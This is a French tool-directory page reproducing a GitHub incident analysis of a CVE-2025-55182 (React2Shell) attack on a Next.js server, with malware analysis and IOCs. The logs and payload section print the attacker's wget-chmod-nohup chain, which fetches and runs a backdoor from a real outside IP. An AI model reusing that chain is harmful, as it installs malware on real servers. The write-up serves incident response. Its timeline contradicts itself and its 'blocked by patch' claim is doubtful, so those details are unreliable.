Skip to content
KitploitKITPLOIT
OutilsExploitsBlog
Log in
Soumettre
OutilsExploitsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

FluxContactConfidentialité© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
CVE-2025-55182-Attack-Analysis — Analyse d'attaque réelle de CVE-2025-55182 (React2Shell) - Vulnérabilité RCE des React Server Components | Kitploit
Outils/GitHubGitHub/ngvcanh/cve-2025-55182-attack-analysis
Gestion des Indicateurs de Compromission (IOC)Analyse des VulnérabilitésAnalyse ForensiqueSécurité WebAnalyse de MalwareRenseignement sur les MenacesApprentissage et ÉducationRéponse aux Incidents

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
GitHub
ngvcanh/cve-2025-55182-attack-analysis

CVE-2025-55182-Attack-Analysis

Analyse d'attaque réelle de CVE-2025-55182 (React2Shell) - Vulnérabilité RCE des React Server Components

Voir le dépôt
32il y a 10 moisPas encore vérifié
Partager

Analyse de l'attaque CVE-2025-55182 : RCE dans les composants serveur React

Analyse d'une attaque réelle sur une application Next.js en production

📋 Table des matières

  • Résumé exécutif
  • Aperçu de la vulnérabilité
  • Chronologie de l'attaque
  • Analyse technique
  • Analyse du malware
  • Indicateurs de compromission (IOCs)
  • Mesures correctives et réponse
  • Leçons tirées
  • Références

Résumé exécutif

Le 5 décembre 2025, notre application Next.js en production a été ciblée par des attaquants exploitant CVE-2025-55182 (React2Shell), une vulnérabilité critique d'exécution de code à distance (RCE) dans les composants serveur React. L'attaque a tenté de télécharger et d'exécuter un cheval de Troie porte dérobée Linux sur notre serveur.

AttributValeur
ID CVECVE-2025-55182
Score CVSS9,8 (Critique)
Date de l'attaque5 décembre 2025
Résultat de l'attaque✅ Bloquée (après correctif)
Type de malwareCheval de Troie porte dérobée Linux
Stack affectéNext.js + Composants serveur React

Aperçu de la vulnérabilité

Qu'est-ce que CVE-2025-55182 ?

CVE-2025-55182, également connue sous le nom de « React2Shell », est une vulnérabilité critique d'exécution de code à distance (RCE) affectant les composants serveur React (RSC) dans :

  • React : versions 19.0.0 à 19.2.1
  • Next.js : versions 15.x et 16.x (avant correctifs)

Cause racine

La vulnérabilité existe dans la fonction renderToReadableStream() du serveur Flight de React. Lors du traitement de charges utiles RSC spécialement conçues, le serveur ne parvient pas à assainir correctement certaines entrées, ce qui conduit à une exécution de code arbitraire.

Vecteur d'attaque

Attaquant → Charge utile RSC malveillante → Serveur Flight → eval() → RCE

L'attaquant envoie une requête POST conçue avec une charge utile sérialisée malveillante qui est désérialisée et exécutée sur le serveur.


Chronologie de l'attaque

Phase 1 : Tentatives d'exploitation initiales (avant correctif)

Horodatage (UTC)Événement
5 décembre, 06:20Première attaque détectée via Sentry
5 décembre, 06:20La charge utile tente d'exécuter des commandes shell
5 décembre, 06:20Attaque partiellement réussie (avant correctif)

Journal d'erreur Sentry (avant correctif) :

Error: root
  at eval (eval at <anonymous>, <anonymous>:3:6)
  at nk (chunk.js)
  at JSON.parse (<anonymous>)
  at n5 (/app/node_modules/next/dist/server/app-render.js)

Phase 2 : Déploiement du correctif

HorodatageAction
4 décembre, 14:13Mise à niveau vers Next.js 16.0.7
4 décembre, 14:13Déploiement de la version corrigée (v1.0.0-beta-4)

Phase 3 : Attaque bloquée après correctif

Horodatage (UTC)Événement
5 décembre, 08:48Tentative d'attaque détectée
5 décembre, 08:48Exécution de la charge utile BLOQUÉE
5 décembre, 08:48Erreur : syntax error: unexpected ";"

Journal d'erreur Sentry (après correctif) :

Error: Command failed: wget http://45.76.155.14/vim -O /tmp/vim ; 
chmod +x /tmp/vim ; nohup /tmp/vim > /dev/null 2>&1 & ; rm -f /tmp/vim
/bin/sh: syntax error: unexpected ";"

Le correctif a empêché avec succès l'exécution de la commande malveillante.


Analyse technique

Détails de la requête d'attaque

AttributValeur
URL ciblehttps://[REDACTED]/
MéthodePOST
User-AgentPython Requests 2.31
OrigineScript d'attaque automatisé

Analyse de la charge utile

L'attaquant a tenté d'exécuter la chaîne de commandes suivante :

wget http://45.76.155.14/vim -O /tmp/vim ; \
chmod +x /tmp/vim ; \
nohup /tmp/vim > /dev/null 2>&1 & ; \
rm -f /tmp/vim

Détail :

ÉtapeCommandeObjectif
1wget http://45.76.155.14/vim -O /tmp/vimTélécharger le malware
2chmod +x /tmp/vimRendre exécutable
3nohup /tmp/vim > /dev/null 2>&1 &Exécuter en arrière-plan, persister après déconnexion
4rm -f /tmp/vimSupprimer les preuves

Environnement serveur

ComposantVersion
OSAlpine Linux 3.23.0
RuntimeNode.js v20.19.6
FrameworkNext.js 16.0.7 (corrigé)
ConteneurDocker

Analyse du malware

Informations sur le fichier

AttributValeur
Nom de fichiervim (déguisé en outil légitime)
SHA2560f0f9c339fcc267ec3d560c7168c56f607232cbeb158cb02a0818720a54e72ce
Type de fichierELF 64-bit LSB executable, x86-64
LangageGo (binaire compilé)
Taille du fichier~4,7 Mo

Résultats VirusTotal

Taux de détection : 13/72 (18 %)

ÉditeurNom de détection
DrWebLinux.BackDoor.Siggen.389
AhnLab-V3Backdoor/Linux.Agent.4780032
KasperskyHEUR:Trojan.Linux.Agent.gen
ESET-NOD32Linux/Agent.PX Trojan
Avast/AVGELF:Agent-BQE [Trj]
AliCloudTrojan:Linux/Agent.ff565f70
Antiy-AVLTrojan/Linux.Agent.px
RisingTrojan.Agent/Linux!8.13268
SentinelOneStatic AI - Suspicious ELF
TencentMalware.Linux.Generic.1c03c8b9
ZillyaTrojan.Agent.Linux.5292

Lien VirusTotal : Voir l'analyse

Analyse binaire

En-tête ELF :

00000000: 7f45 4c46 0201 0100 0000 0000 0000 0000  .ELF............
00000010: 0200 3e00 0100 0000 60e7 4500 0000 0000  ..>.....`.E.....

Capacités identifiées :

CapacitéPreuve
Client HTTP/HTTPSnet/http, *http.Client
Chiffrement TLScrypto/tls, crypto/aes
Proxy SOCKS5socks, socks5
Résolution DNSnet/dns/dnsmessage
Crypto fortechacha20poly1305, Ed25519

Chaînes extraites (pertinentes) :

crypto/aes
crypto/tls
net/http
socks5
vendor/golang.org/x/crypto/chacha20poly1305
vendor/golang.org/x/net/http2/hpack

Règles IDS déclenchées

SévéritéRègleSource
FAIBLEET POLICY HTTP traffic on port 443 (POST)Proofpoint ET Open
FAIBLEET DNS Query for .cc TLDProofpoint ET Open

Classification du malware

Type : Cheval de Troie porte dérobée Linux

Capacités :

  • Accès shell à distance
  • Communication avec un serveur de commande & contrôle (C2)
  • Téléchargement/téléversement de fichiers
  • Communications chiffrées
  • Tunnel de trafic via SOCKS5
  • Mécanismes de persistance

Indicateurs de compromission (IOCs)

IOCs réseau

TypeValeurDescription
Adresse IP45.76.155.14Serveur de distribution du malware
URLhttp://45.76.155.14/vimURL de téléchargement du malware
HébergementVultr VPSFournisseur cloud
TLD.ccLe domaine C2 utilise le TLD .cc

IOCs fichier

TypeValeur
SHA2560f0f9c339fcc267ec3d560c7168c56f607232cbeb158cb02a0818720a54e72ce
SHA1[Calculer si nécessaire]
MD5[Calculer si nécessaire]
Nom de fichiervim (déguisé)
Type de fichierELF 64-bit x86-64
Taille du fichier~4,7 Mo

IOCs comportementaux

Télécharger l’outil